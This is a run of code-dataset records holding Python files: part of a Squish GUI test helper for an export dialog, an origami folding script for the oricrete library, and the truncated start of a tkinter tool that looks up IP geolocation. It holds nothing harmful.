\" + version + \".+_JButton\"\n        self.cancel_button_symbol =             \":Bloodhound™ Viewing Station \" + version + \".Cancel_JButton\"\n        self.save_as_table_header_symbol =      \":Bloodhound™ Viewing Station \" + version + \"_JTableHeader\"\n        \n        self.file_exists_messagebox_symbol = \":Bloodhound™ Viewing Station \" + version + \"_JPanel_2\"\n        self.file_exists_overwrite_button_symbol = \":Bloodhound™ Viewing Station \" + version + \".Overwrite_JButton\"\n    \n    def confirmSaveAsLabel(self,text):\n        test.verify(squish.findObject(self.save_as_label_symbol).text == text,\"Confirm that the Save as label is: \" + text)\n        \n    def confirmWhereLabel(self,expected_text):\n        text = squish.findObject(self.where_label_symbol).text\n        test.verify( expected_text == text, \"Confirm that the expected text: \" + expected_text + \" for the Where label is \" + text)\n        \n    def confirmFileNameTxt(self,text):\n        test.verify(squish.findObject(self.file_name_text_symbol).text == text,\"Confirm that the Save as edit box contains the text: \" + text)\n        \n    def confirmUpArrowButton(self,status):\n        test.verify(object.exists(self.up_arrow_button_symbol) == True, \"Confirm that the up arrow button exists\")\n        if status == \"enabled\":\n            test.verify(squish.findObject(self.up_arrow_button_symbol).enabled == True,\"Confirm that the up arrow button is enabled\")\n        else:\n            test.verify(squish.findObject(self.up_arrow_button_symbol).enabled == False,\"Confirm that the up arrow button is disabled\")            \n        \n    def pressUpArrowButtonUntilItIsDisabled(self):\n        up_arrow_button = squish.findObject(self.up_arrow_button_symbol)\n        while (up_arrow_button.enabled == True):\n            squish.clickButton(up_arrow_button)\n            \n    def confirmDownArrowButton(self,status):\n        test.verify(object.exists(self.down_arrow_button_symbol) == True, \"Confirm that the down arrow button exists\")\n        if status == \"enabled\":\n            test.verify(squish.findObject(self.down_arrow_button_symbol).enabled == True,\"Confirm that the down arrow button is enabled\")\n        else:\n            test.verify(squish.findObject(self.down_arrow_button_symbol).enabled == False,\"Confirm that the down arrow button is enabled\")\n            \n    def pressDownArrowButton(self):\n        down_arrow_button = squish.findObject(self.down_arrow_button_symbol)\n        squish.clickButton(down_arrow_button)\n        \n    def pressUpArrowButton(self):\n        up_arrow_button = squish.findObject(self.up_arrow_button_symbol)\n        squish.clickButton(up_arrow_button)        \n        \n    def confirmFilterSelectorComboBox(self,status):\n        test.verify(object.exists(self.filter_selector_combo_box_symbol) == True, \"Confirm that the Filter Selector ComboBox button exists\")\n        if status == \"enabled\":\n            test.verify(squish.findObject(self.filter_selector_combo_box_symbol).enabled == True,\"Confirm that the Filter Selector ComboBox is enabled\")\n        else:\n            test.verify(squish.findObject(self.filter_selector_combo_box_symbol).enabled == False,\"Confirm that the Filter Selector ComboBox is enabled\")\n            \n    def confirmSafelyRemoveCheckbox(self,status,drive):\n        label = \"Safely remove \" + drive + \" after export\" \n        test.verify(object.exists(self.safely_remove_checkbox) == True, \"Confirm that the Safely remove checkbox exists\")\n        test.verify(str(squish.findObject(self.safely_remove_checkbox).label) == label, \"Confirm that the Safely remove checkbox label displays: \" + label)\n        if status == \"enabled\":     \n            test.verify(squish.findObject(self.safely_remove_checkbox).enabled == True,\"Confirm that the Safely Remove Checkbox is enabled\")\n        else:\n            test.verify(squish.findObject(self.safely_remove_checkbox).enabled == False,\"Confirm that the Safely Remove Checkbox is disabled\")\n            \n    def confirmSafelyRemoveCheckboxState(self,state):\n        if state == \"checked\":\n            test.verify(squish.waitForObject(self.safely_remove_checkbox).selected == True,\"Confirm that the Safely Remove Checkbox is checked\")\n        else:\n            test.verify(squish.findObject(self.safely_remove_checkbox).selected == False,\"Confirm that the Safely Remove Checkbox is not checked\")\n    \n    def clickSafelyRemoveCheckbox(self):\n        checkbox = squish.findObject(self.safely_remove_checkbox)\n        checkbox.doClick()\n    \n    def deleteFilename(self):\n        squish.findObject(self.file_name_text_symbol).text = \"\"\n        \n    def confirmExportButton(self,status):\n        if status == \"enabled\":            \n            test.verify(squish.findObject(self.export_button_symbol).enabled == True,\"Confirm that the Export button is enabled\")\n        else:\n            test.verify(squish.findObject(self.export_button_symbol).enabled == False,\"Confirm that the Export button is disabled\")\n            \n    def confirmCancelButton(self,status):\n        if status == \"enabled\":\n            test.verify(squish.findObject(self.cancel_button_symbol).enabled == True, \"Confirm that the Cancel button is enabled\")\n        else:\n            test.verify(squish.findObject(self.cancel_button_symbol).enable == False, \"Confirm that the Cancel button is disabled\")\n            \n    def clickCancelButton(self):\n        squish.clickButton(self.cancel_button_symbol)\n            \n    def clickExportButton(self):\n        squish.clickButton(squish.waitForObject(self.export_button_symbol))\n        counter = 0\n        #Test for 3 seconds if file exists message box pops up\n        while (True):\n            if object.exists(self.file_exists_messagebox_symbol):\n                messagebox = squish.findObject(self.file_exists_messagebox_symbol)\n                if str(messagebox.name) == \"LayeredDialog-File Exists\":\n                    self.clickOverwriteButton()\n                    break\n            \n            squish.snooze(1.0)\n            counter += 1\n            \n            if counter == 3:\n                break\n\n    def clickOverwriteButton(self):\n        squish.clickButton(self.file_exists_overwrite_button_symbol)\n    \n    def clickExportCurrentButton(self):\n        squish.clickButton(self.export_current_symbol)\n        \n    def confirmPlusButton(self,status):\n        test.verify(object.exists(self.plus_button_symbol) == True, \"Confirm that the Plus button exists\")\n        if status == \"enabled\":\n            test.verify(squish.findObject(self.plus_button_symbol).enabled == True, \"Confirm that the Plus button is enabled\")\n        else:\n            test.verify(squish.findObject(self.plus_button_symbol).enabled == False, \"Confirm that the Plus button is disabled\")\n            \n    def clickPlusButton(self):\n        squish.clickButton(squish.findObject(self.plus_button_symbol))\n        \n    def setFilename(self,filename):\n        squish.findObject(self.file_name_text_symbol).text = filename\n        \n    def confirmNameColumnSortOrder(self,column,expected_sort_order):\n        order = squish.findObject(self.save_as_table_symbol).getRowSorter().getSortKeys().get(0).getSortOrder()\n        \n        if (column == 0):\n            actual_sort_order = order\n        #TODO:  Find a better way to do this\n        #But For now, I found a reliable way of testing the Date Column Sort Order\n        #The logic here is that when the Name column is reliably returning being sorted one way, \n        #the Date column is always sorted the opposite way.\n        else:\n            if str(order) == \"ASCENDING\":\n                actual_sort_order = \"DESCENDING\"\n            else:\n                actual_sort_order = \"ASCENDING\"\n        \n        test.verify(expected_sort_order == str(actual_sort_order),\"Confirm that the expected order \" + str(expected_sort_order) + \" is being used: \" + str(actual_sort_order))\n        \n    def confirmColumnName(self,column,name):\n        column_name = squish.findObject(self.save_as_table_header_symbol).getColumnModel().getColumn(column).getHeaderValue().toString()\n        test.verify(name == str(column_name).strip(), \"Confirm that the expected Column name for column \" + str(column) + \" is \" + column_name)\n        \n    def clickOnNameColumn(self):\n        #Click on the name column\n        squish.mouseClick(\":     Name_TableHeaderItemProxy\")\n        \n    def clickOnDateColumn(self):\n        #Click on the date column\n        squish.mouseClick(\":Date_TableHeaderItemProxy\")\n        \n    def confirmDateCellRenderer(self):\n        #Get the table\n        table = squish.findObject(self.save_as_table_symbol)\n        #Select the first for in the Table this helps getCellRenderer get the right row\n        table.setRowSelectionInterval(0,0)\n        #Get the Formated Date from the first cell in the Date Column (column 1)\n        table_formatted_date_or_time = table.getCellRenderer(0,1).getText()\n        #Get the path and filename from that column\n        filename = table.getModel().getValueAt(0,0)\n        file = os.stat(str(filename))\n        file_formatted_date = str(time.localtime(file[ST_MTIME])[1]) + \"/\" + str(time.localtime(file[ST_MTIME])[2]) + \"/\" + str(time.localtime(file[ST_MTIME])[0])[2:]\n        file_formatted_time = self.getTime(os.stat(str(filename)))\n        if \":\" in table_formatted_date_or_time:\n            test.verify(table_formatted_date_or_time == file_formatted_time,\"Confirm that the table time \" + table_formatted_date_or_time + \" is equal to the modified file time \" + file_formatted_time)\n        else:\n            test.verify(table_formatted_date_or_time == file_formatted_date,\"Confirm that the table date \" + table_formatted_date_or_time + \" is equal to the modified file date \" + file_formatted_date)\n        \n    def confirmTxtOnlyInSaveAsTable(self):\n        #Get the table\n        table = squish.findObject(self.save_as_table_symbol)\n        # Make sure every filename in the table ends in .txt\n        for row in range(table.getRowCount()):\n            if os.path.isfile(str(table.getValueAt(row,0))):\n                test.verify(str(table.getValueAt(row,0)).endswith(\".txt\") != False,\"Confirm that each file in the table ends with .txt \" + str(table.getValueAt(row,0)))\n            \n    def confirmMoreThanTxtOnlyInSaveAsTable(self):\n        #Get the table\n        table = squish.findObject(self.save_as_table_symbol)\n        # Make sure every filename in the table ends in .txt\n        result = False\n        for row in range(table.getRowCount()):\n            if os.path.isfile(str(table.getValueAt(row,0))) and str(table.getValueAt(row,0)).endswith(\".txt\") == False:\n                result = True\n                break\n            \n        test.verify(result == True,\"Confirm that there is at least one file in the table that does not have .txt at the end\" + str(table.getValueAt(row,0)))\n         \n        \n    def doubleClickOnTableRowByName(self,field_name,cell_value):\n        Tables.populateTableData(self,self.save_as_table_symbol)\n        Tables.doubleClickOnTableRowByName(self,self.save_as_table_symbol,field_name,cell_value)\n        \n    def clickOnTableRowByName(self,object_symbol,field_name,cell_value):\n        Tables.populateTableData(self,self.save_as_table_symbol)\n        Tables.clickOnTableRowByName(self,object_symbol,field_name,cell_value)\n        \n    def confirmWhereComboSelection(self,selected):\n        selection = str(squish.findObject(self.where_combo_box_symbol).selecteditem)\n        test.verify(selected == selection,\n            \"Confirm that the expected selection: \" + selected + \" is selected \" + selection)\n        \n    def confirmFilterSelectorComboBoxSelection(self,selected):\n        selection = str(squish.findObject(self.filter_selector_combo_box_symbol).selecteditem.getDescription())\n        test.verify(selected == selection,\n            \"Confirm that the expected selection: \" + selected + \" is selected \" + selection)\n        \n    def confirmFolderSelectorComboBoxItems(self,expected_items):\n        item_list = expected_items.split(\",\")\n        combo = squish.findObject(self.where_combo_box_symbol)\n        for index in range(len(item_list)):\n            test.verify(item_list[index] == str(combo.getItemAt(index)), \"Confirm that expected item: \" + item_list[index] + \" is equal to \" + str(combo.getItemAt(index)))\n   \n    def confirmFilterSelectorComboBoxItems(self,items):\n        item_list = items.split(\",\")\n        combo = squish.findObject(self.filter_selector_combo_box_symbol)\n        for index in range(combo.getItemCount()):\n            test.verify(item_list[index] == str(combo.getItemAt(index).getDescription()), \n                \"Confirm that expected item: \" + item_list[index] + \" is equal to \" + str(combo.getItemAt(index).getDescription()))\n    \n    def selectFilterSelectorComboBoxItem(self,item):\n        combo = squish.findObject(self.filter_selector_combo_box_symbol)\n        for index in range(combo.getItemCount()):\n            if str(combo.getItemAt(index).getDescription()) == item:\n                combo.setSelectedIndex(index)\n                break\n            \n    def selectFolderSelectorComboBoxItem(self,item):\n        combo = squish.findObject(self.where_combo_box_symbol)\n        for index in range(combo.getItemCount()):\n            if str(combo.getItemAt(index)) == item:\n                combo.setSelectedIndex(index)\n                break\n        \n    def goToCurrentPath(self):\n        where = \"/Volumes/SmokeTest\"\n        self.selectFolderSelectorComboBoxItem(where)\n        \n        current_path = os.getcwd()\n        paths = current_path.split(\"/\")\n    \n        for path in paths:\n            if not path:\n                continue\n            where += \"/\" + path \n            self.doubleClickOnTableRowByName(\"     Name\",where)\n            \n        return where\n    \n    def getTime(self,file):\n        if time.localtime(file[ST_MTIME])[3] <= 11:\n            if time.localtime(file[ST_MTIME])[3] == 0:\n                hour = \"12\"\n            else:\n                hour = str(time.localtime(file[ST_MTIME])[3])\n            time_of_day = \"AM\"\n        else:\n            if time.localtime(file[ST_MTIME])[3] == 12:\n                hour = \"12\"\n            else:\n                hour = str(time.localtime(file[ST_MTIME])[3] - 12)\n            time_of_day = \"PM\"\n                    \n        time_string = hour + \":\" + str(time.localtime(file[ST_MTIME])[4]) + \" \" + time_of_day\n            \n        return time_string", "repo_name": "henrywasserman/suite_Viewing_Station_Automation", "sub_path": "shared/scripts/MainTabs/Results/exportallfiledialog.py", "file_name": "exportallfiledialog.py", "file_ext": "py", "file_size_in_byte": 16226, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tables.Tables", "line_number": 15, "usage_type": "name"}, {"api_name": "config.Config", "line_number": 18, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 39, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 39, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 42, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 43, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 46, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 46, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 49, "usage_type": "call"}, {"api_name": "object.exists", "line_number": 49, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 51, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 51, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 53, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 53, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 56, "usage_type": "call"}, {"api_name": "squish.clickButton", "line_number": 58, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 61, "usage_type": "call"}, {"api_name": "object.exists", "line_number": 61, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 63, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 63, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 65, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 65, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 68, "usage_type": "call"}, {"api_name": "squish.clickButton", "line_number": 69, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 72, "usage_type": "call"}, {"api_name": "squish.clickButton", "line_number": 73, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 76, "usage_type": "call"}, {"api_name": "object.exists", "line_number": 76, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 78, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 78, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 80, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 80, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 84, "usage_type": "call"}, {"api_name": "object.exists", "line_number": 84, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 85, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 85, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 87, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 87, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 89, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 89, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 93, "usage_type": "call"}, {"api_name": "squish.waitForObject", "line_number": 93, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 95, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 95, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 98, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 102, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 106, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 106, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 108, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 108, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 112, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 112, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 114, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 114, "usage_type": "call"}, {"api_name": "squish.clickButton", "line_number": 117, "usage_type": "call"}, {"api_name": "squish.clickButton", "line_number": 120, "usage_type": "call"}, {"api_name": "squish.waitForObject", "line_number": 120, "usage_type": "call"}, {"api_name": "object.exists", "line_number": 124, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 125, "usage_type": "call"}, {"api_name": "squish.snooze", "line_number": 130, "usage_type": "call"}, {"api_name": "squish.clickButton", "line_number": 137, "usage_type": "call"}, {"api_name": "squish.clickButton", "line_number": 140, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 143, "usage_type": "call"}, {"api_name": "object.exists", "line_number": 143, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 145, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 145, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 147, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 147, "usage_type": "call"}, {"api_name": "squish.clickButton", "line_number": 150, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 150, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 153, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 156, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 170, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 173, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 174, "usage_type": "call"}, {"api_name": "squish.mouseClick", "line_number": 178, "usage_type": "call"}, {"api_name": "squish.mouseClick", "line_number": 182, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 186, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 193, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 194, "usage_type": "call"}, {"api_name": "stat.ST_MTIME", "line_number": 194, "usage_type": "name"}, {"api_name": "os.stat", "line_number": 195, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 197, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 199, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 203, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 206, "usage_type": "call"}, {"api_name": "os.path", "line_number": 206, "usage_type": "attribute"}, {"api_name": "test.verify", "line_number": 207, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path", "line_number": 215, "usage_type": "attribute"}, {"api_name": "test.verify", "line_number": 219, "usage_type": "call"}, {"api_name": "tables.Tables.populateTableData", "line_number": 223, "usage_type": "call"}, {"api_name": "tables.Tables", "line_number": 223, "usage_type": "name"}, {"api_name": "tables.Tables.doubleClickOnTableRowByName", "line_number": 224, "usage_type": "call"}, {"api_name": "tables.Tables", "line_number": 224, "usage_type": "name"}, {"api_name": "tables.Tables.populateTableData", "line_number": 227, "usage_type": "call"}, {"api_name": "tables.Tables", "line_number": 227, "usage_type": "name"}, {"api_name": "tables.Tables.clickOnTableRowByName", "line_number": 228, "usage_type": "call"}, {"api_name": "tables.Tables", "line_number": 228, "usage_type": "name"}, {"api_name": "squish.findObject", "line_number": 231, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 232, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 236, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 237, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 242, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 244, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 248, "usage_type": "call"}, {"api_name": "test.verify", "line_number": 250, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 254, "usage_type": "call"}, {"api_name": "squish.findObject", "line_number": 261, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 271, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 283, "usage_type": "call"}, {"api_name": "stat.ST_MTIME", "line_number": 283, "usage_type": "name"}, {"api_name": "time.localtime", "line_number": 284, "usage_type": "call"}, {"api_name": "stat.ST_MTIME", "line_number": 284, "usage_type": "name"}, {"api_name": "time.localtime", "line_number": 287, "usage_type": "call"}, {"api_name": "stat.ST_MTIME", "line_number": 287, "usage_type": "name"}, {"api_name": "time.localtime", "line_number": 290, "usage_type": "call"}, {"api_name": "stat.ST_MTIME", "line_number": 290, "usage_type": "name"}, {"api_name": "time.localtime", "line_number": 293, "usage_type": "call"}, {"api_name": "stat.ST_MTIME", "line_number": 293, "usage_type": "name"}, {"api_name": "time.localtime", "line_number": 296, "usage_type": "call"}, {"api_name": "stat.ST_MTIME", "line_number": 296, "usage_type": "name"}]}
{"seq_id": "27406652852", "text": "'''\r\nCreated on 10.10.2013\r\n\r\n@author: User\r\n'''\r\nimport numpy as np\r\nfrom oricrete.folding2 import \\\r\n    YoshimuraCreasePattern, fix, link, \\\r\n    Initialization, CnstrTargetFace, r_, s_, t_, Folding, \\\r\n    CreasePatternView\r\n\r\nimport sympy as sp\r\n\r\na_, b_ = sp.symbols('a,b')\r\n\r\n\r\ndef get_fr(var_, L, H):\r\n    fx = a_ * (var_ / L)**2 + b_ * (var_ / L)\r\n    eqns = [fx.subs(var_, L), fx.subs(var_, L / 2) - H]\r\n    ab_subs = sp.solve(eqns, [a_, b_])\r\n    fx = fx.subs(ab_subs)\r\n    return fx\r\n\r\n\r\ndef get_frs(Lx, Ly, H, h):\r\n    P = H * h\r\n    fs = get_fr(s_, Ly, -2 * P)\r\n    return fs\r\n\r\n\r\ndef get_constrained_YCP(L_x, L_y, n_x, n_y, d, n_steps):\r\n    '''\r\n    '''\r\n    ycp = YoshimuraCreasePattern(L_x=L_x, L_y=L_y, n_x=n_x, n_y=n_y)\r\n\r\n    caf = CnstrTargetFace(\r\n        F=[r_, s_, 5 * t_ * r_ * (1 - r_ / L_x) + 0.000015])\r\n    n_arr = np.hstack([ycp.N_h[:, :].flatten(),\r\n                       ycp.N_i[:, :].flatten()\r\n                       ])\r\n\r\n    init = Initialization(cp=ycp, tf_lst=[(caf, n_arr)])\r\n\r\n    fixed_node = fix(ycp.N_h[0, -1], (0, 1, 2))\r\n    planar_front_boundary = link(ycp.N_h[0, 0], 1, 1.0,\r\n                                 ycp.N_h[1:, 0], 1, -1.0)\r\n    planar_back_boundary = link(ycp.N_h[0, -1], 1, 1.0,\r\n                                ycp.N_h[1:, -1], 1, -1.0)\r\n    linked_left_boundary_x = link(ycp.N_h[0, 0], 0, 1.0,\r\n                                  ycp.N_h[0, 1:], 0, -1.0)\r\n    linked_left_boundary_z = link(ycp.N_h[0, 0], 2, 1.0,\r\n                                  ycp.N_h[0, 1:], 2, -1.0)\r\n    linked_left_and_right_z = link(ycp.N_v[0, :], 2, 1.0,\r\n                                   ycp.N_v[1, :], 2, -1.0)\r\n    linked_right_boundary_x = link(ycp.N_v[-1, 0], 0, 1.0,\r\n                                   ycp.N_v[-1, 1:], 0, -1.0)\r\n    cntrl_displ = [([(ycp.N_h[-1, 1], 0, 1.0)], d)]\r\n\r\n    lift = Folding(source=init, n_steps=n_steps, MAX_ITER=500,\r\n                   goal_function_type='none',\r\n                   dof_constraints=fixed_node +\r\n                   planar_front_boundary +\r\n                   planar_back_boundary +\r\n                   linked_left_boundary_x +\r\n                   linked_left_boundary_z +\r\n                   linked_left_and_right_z +\r\n                   linked_right_boundary_x +\r\n                   cntrl_displ,\r\n                   #\r\n                   )\r\n\r\n    lift.u_1\r\n\r\n    H = lift.x_1[ycp.N_i[1, 0], 2]\r\n    L_x = lift.x_1[ycp.N_h[-1, 0], 0] - lift.x_1[ycp.N_h[0, 0], 0]\r\n    L_y = lift.x_1[ycp.N_h[0, -1], 1] - lift.x_1[ycp.N_h[0, 0], 1]\r\n\r\n    P = 0.2\r\n    fexpr = get_fr(r_, L_x, H) + (get_fr(s_, L_y, -2 * P) + P) * 0.3 * t_\r\n\r\n    face_z_t = CnstrTargetFace(\r\n        F=[r_, s_, fexpr])\r\n\r\n    n_arr = np.hstack([ycp.N_h[2, :].flatten(),\r\n                       ycp.N_i[(1, 2), :].flatten(),\r\n                       ])\r\n\r\n    bend = Folding(source=lift, tf_lst=[(face_z_t, n_arr)],\r\n                   MAX_ITER=200,\r\n                   n_steps=1)\r\n\r\n    bend.u_1\r\n\r\n    fixed_nodes = np.hstack([ycp.N_h[np.ix_((0, -1,), (2, 3, 4))].flatten(),\r\n                             ycp.N_h[2, (0, -1)].flatten()])\r\n    fixed_node_constraints = fix(fixed_nodes, (0, 1, 2))\r\n\r\n    hang = Folding(source=bend,\r\n                   goal_function_type='potential_energy',\r\n                   MAX_ITER=200,\r\n                   dof_constraints=fixed_node_constraints,\r\n                   n_steps=1)\r\n\r\n    hang.u_1\r\n\r\n    return init, lift\r\n\r\ninit, fold = get_constrained_YCP(L_x=3.0, L_y=2.42,\r\n                                 n_x=4, n_y=12, d=-0.2, n_steps=10)\r\n\r\nv = CreasePatternView(root=init)\r\nv.configure_traits()\r\n", "repo_name": "simvisage/oricrete", "sub_path": "apps/sandbox/rch/vault_shape_02.py", "file_name": "vault_shape_02.py", "file_ext": "py", "file_size_in_byte": 3599, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sympy.symbols", "line_number": 14, "usage_type": "call"}, {"api_name": "sympy.solve", "line_number": 20, "usage_type": "call"}, {"api_name": "oricrete.folding2.s_", "line_number": 27, "usage_type": "argument"}, {"api_name": "oricrete.folding2.YoshimuraCreasePattern", "line_number": 34, "usage_type": "call"}, {"api_name": "oricrete.folding2.CnstrTargetFace", "line_number": 36, "usage_type": "call"}, {"api_name": "oricrete.folding2.r_", "line_number": 37, "usage_type": "name"}, {"api_name": "oricrete.folding2.s_", "line_number": 37, "usage_type": "name"}, {"api_name": "oricrete.folding2.t_", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.hstack", "line_number": 38, "usage_type": "call"}, {"api_name": "oricrete.folding2.Initialization", "line_number": 42, "usage_type": "call"}, {"api_name": "oricrete.folding2.fix", "line_number": 44, "usage_type": "call"}, {"api_name": "oricrete.folding2.link", "line_number": 45, "usage_type": "call"}, {"api_name": "oricrete.folding2.link", "line_number": 47, "usage_type": "call"}, {"api_name": "oricrete.folding2.link", "line_number": 49, "usage_type": "call"}, {"api_name": "oricrete.folding2.link", "line_number": 51, "usage_type": "call"}, {"api_name": "oricrete.folding2.link", "line_number": 53, "usage_type": "call"}, {"api_name": "oricrete.folding2.link", "line_number": 55, "usage_type": "call"}, {"api_name": "oricrete.folding2.Folding", "line_number": 59, "usage_type": "call"}, {"api_name": "oricrete.folding2.r_", "line_number": 79, "usage_type": "argument"}, {"api_name": "oricrete.folding2.s_", "line_number": 79, "usage_type": "argument"}, {"api_name": "oricrete.folding2.t_", "line_number": 79, "usage_type": "name"}, {"api_name": "oricrete.folding2.CnstrTargetFace", "line_number": 81, "usage_type": "call"}, {"api_name": "oricrete.folding2.r_", "line_number": 82, "usage_type": "name"}, {"api_name": "oricrete.folding2.s_", "line_number": 82, "usage_type": "name"}, {"api_name": "numpy.hstack", "line_number": 84, "usage_type": "call"}, {"api_name": "oricrete.folding2.Folding", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.ix_", "line_number": 94, "usage_type": "call"}, {"api_name": "oricrete.folding2.fix", "line_number": 96, "usage_type": "call"}, {"api_name": "oricrete.folding2.Folding", "line_number": 98, "usage_type": "call"}, {"api_name": "oricrete.folding2.CreasePatternView", "line_number": 111, "usage_type": "call"}]}
{"seq_id": "22451573259", "text": "import requests\r\nfrom tkinter import *\r\n# from tkinter import Tk, Button, Label, Entry, Text # END is not defined here\r\nimport tkinter.font as font\r\nfrom tkinter import messagebox\r\n\r\nroot = Tk()\r\nroot.title(\"IP Info by ZeaCeR#5641\")\r\nroot['background'] = \"#303030\"\r\nroot.resizable(False, False)\r\n\r\n\r\n# font properties\r\nfontforbtns = font.Font(family=\"Arial\", size=\"15\", weight=\"bold\")\r\n\r\nipadrrfromuser = Entry(root, width=25, borderwidth=5, bg=\"#111111\", fg=\"#17FE00\")\r\nipadrrfromuser.grid(row=2, column=0, columnspan=2)\r\nipadrrfromuser['font'] = fontforbtns\r\n\r\n\r\ndef ipinfoshit():\r\n    ipfromuser = ipadrrfromuser.get()\r\n    r = requests.get('http://ip-api.com/json/' + ipfromuser) # include the ip\r\n    data = r.json()\r\n    ipinfo = f'\\n[+] Status: {data[\"status\"]} \\n[+] Country: {data[\"country\"]} \\n[+] Country Code: {data[\"countryCode\"]} \\n[+] Region: {data[\"region\"]} \\n[+] Region Name: {data[\"regionName\"]} \\n[+] City: {data[\"city\"]} \\n[+] ZIP: {data[\"zip\"]} \\n[+] Latitude: {data[\"lat\"]} \\n[+] Longitude: {data[\"lon\"]} \\n[+] TimeZone: {data[\"timezone\"]} \\n[+] ISP: {data[\"isp\"]} \\n[+] Organization: {data[\"org\"]} \\n[+] ASN: {data[\"as\"]} \\n[+] Query: {data[\"query\"]} \\n'\r\n    tmain.insert(END, ipinfo)\r\n\r\ndef savetoFile():\r\n    ipfromuser = ipadrrfromuser.get()\r\n    texttowritetoFile = tmain.get(\"1.0\", \"end\")\r\n    file = open(ipfromuser + \"_ip.txt\", 'wb')\r\n    file.write(texttowritetoFile)\r\n    file.close()\r\n\r\ndef clearshit():\r\n    tmain.delete(\"1.0\", END)\r\n\r\ndef exittheprogram():\r\n    root.quit()\r\n    messagebox.showinfo('Made by ZeaCeR#5641', 'Thank you for using the program! Make sure to Share!')\r\n\r\n# label main on top\r\nlabelontobbruh = Label(root, text=\"IP Info - v0.1 - Made by ZeaCeR#5641\",  bg='#303030', fg='#17FE00')\r\nlabelontobbruh.grid(row=0, column=0, columnspan=3)\r\n\r\n# main text area\r\nfontfortbox = font.Font(family=\"Arial\", weight=\"bold\")\r\ntmain = Text(root, height=18, width=50, bg=\"#111111\", fg=\"#17FE00\")\r\ntmain.grid(row=1, column=0, columnspan=3)\r\ntmain['font'] = fontfortbox\r\n\r\n# buttons\r\nbfind = Button(root, text=\"FIND\", command=ipinfoshit, padx=60, bg=\"#4F4F4F\", fg=\"#17FE00\")\r\nbfind.grid(row=2, column=2, columnspan=1)\r\nbfind['font'] = fontforbtns\r\n\r\nbclear = Button(root, text=\"Clear\", command=clearshit, padx=40, bg=\"#4F4F4F\", fg=\"#17FE00\")\r\nbclear.grid(row=3, column=0, columnspan=1)\r\nbclear['font'] = fontforbtns\r\n\r\nbsavetofile = Button(root, 